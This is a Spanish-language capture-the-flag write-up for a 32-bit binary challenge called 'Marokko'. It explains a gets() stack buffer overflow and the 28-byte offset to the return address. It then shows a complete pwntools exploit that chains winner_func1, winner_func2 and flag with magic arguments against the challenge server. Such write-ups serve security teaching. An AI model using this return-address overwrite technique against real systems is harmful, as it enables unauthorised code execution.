Pwning 200: Marokko

By {l4_p4nd1ll4_m4nt3q1ll4}

Lo primero es obtener informacion del binario con los comandos file y checksec.



Para este reto tenemos un ELF de 32 bits, not stripped. No tiene PIE habilitado y tampoco cuenta con stack canary. Aunque si tiene habilitado NX por lo que podemos descartar que la solucion sera escribir un shellcode.
Ejecutando el binario podemos observar que lee datos y posteriormente termina.



Si mandamos una entrada mas grande, provocaremos un SEGFAULT.



Revisando el desensamblado en IDA podemos ver que la funcion main solo llama a una funcion wow



En la funcion wow podemos con rfirmar el buffer overfow ya que se esta utilizando la funcion gets para leer los datos la cual no limita el numero de caracteres recibidos y por otro lado, sabemos que es de tipo stack overflow ya que la variable afectada es local (var_18) y por ende se guarda en el stack.




El siguiente paso sera encontrar la cantidad de bytes que hay que enviar para poder sobreescribir la direccion de retorno.
Asi es como luce el stack antes de ejecutar la primer instruccion push ebp dentro de la funcion wow, esp apunta al inicio del stack donde se encuentra la direccion de retorno que permite saber a donde regresar una vez que la funcion wow finaliza su ejecucion (wow ret), y esa misma direccion sera la que eventualmente se sobreescribira para redireccionar la ejecucion del programa a donde decidamos




Despues de esa instruccion push ebp el stack crece y estaremos guardando la direccion de ebp de la funcion main en el stack (ebp main), y a su vez esp apunta a esta ultima.




Con la siguiente instruccion mov ebp, esp se mueve ebp a donde apunta esp para que se utilize como la base del nuevo stack que esta siendo creado donde despues se guardaran variables locales.



Una vez establecida la base del stack con ebp, se pasa lo que seria la primer variable del stack via la instruccion push ebx:



Despues se hace un espacio de 0x14 bytes adicionales en el stack via la instruccion sub, esp, 14h  por lo que el stack termina en el estado siguiente:


El parametro pasado a gets es el resultado de ebp + var 18, pero en la imagen anterior podemos ver que var_18 es -0x18, por lo ranto gets recibe como parametro ebp - 0x18 que coincide a donde apunta el registro esp.
La distancia entre esp y la direcci on de retorno (wow ret) de la funci on wow es:

 0x14(espacio para el bufer) + 0x4 (registro ebx guardado) + 0x4 (ebp de main) = 0x1c (28 decimal)

Por lo tanto si mandamos 28 bytes,  los siguientes 4 bytes sobreescribiran la direcci on de retorno.
La pregunta ahora es a donde nos conviene redireccionar el flujo del programa. En IDA logramos descubrir que existen tres funciones interesantes: winner_func1, winner_func2 y flag.



Siguiendo el flujo de la funci on flag vemos para que imprima el contenido del archivo flag.txt requiere que dos variables globales tengan el valor de 1 ademas de que el primer argumento tenga el el valor de 0xDEADBAAD




Siguiendo el flujo hacia atras, vemos que la funcion winner_func2 espera como primer argumento el valor 0xBAAAAAAD y de complirse pone en 1 una de las variables globales antes mencionadas. 



Siguiendo hacia atras vemos que la funcion winner_func1 pone en 1 la primer variable global.



Por lo que el plan es redireccionar la ejecucion del programa hacia winner_func1, luego winner_func2 con 0xBAAAAAAD como su argumento y por ultimo llamar a la funcion flag con 0xDEADBAAD como su argumento. como se ve en la siguiente figura:



Por lo que el stack (el cual controlamos nosotros con el buffer overflow) se organiza en el siguiente orden:


Hay que notar que el argumento de winner_func2 (0xBAAAAAAD) ser a considerado como la direcci on de retorno de la funci on flag lo cual generar a un SEGFAULT por no ser una direcci on valida. Pero esto no nos interesa ya que para ese entonces ya se habr a mostrado la flag :D

Al ejecutar el exploit de manera remota...


Aqui el exploit completo:

#! /usr/bin/python
'''
ejecutar con argumento REMOTO para conectar al servidor
ejecutar con argumento DEBUG para lanzar gdb y observar el intercambio de datos
'''
from pwn import *

host = "189.240.119.26"
puerto = 1407
nombre_binario = "./marokko-32"

context(arch="i386", bits=32, os="linux")

binario = ELF(nombre_binario)
if(args['REMOTO']):
    p = remote(host, puerto)
else:
    p = process(nombre_binario)

comandos_gdb = ""
comandos_gdb += "break *0x80486E0\n" # breakpoint para verificar si el parametro de winner_func2 es correcto
comandos_gdb += "continue\n"
if(not args['REMOTO'] and context.log_level == logging.DEBUG):
    gdb.attach(p, comandos_gdb)

payload = ''
payload += 'A' * 0x1C
payload += p32(binario.symbols['winner_func1'])
payload += p32(binario.symbols['winner_func2'])
payload += p32(binario.symbols['flag'])
payload += p32(0xBAAAAAAD)
payload += p32(0xDEADBAAD)

p.sendlineafter("Your words: ", payload)

print p.recv(100) # leer flag
p.close()

Comments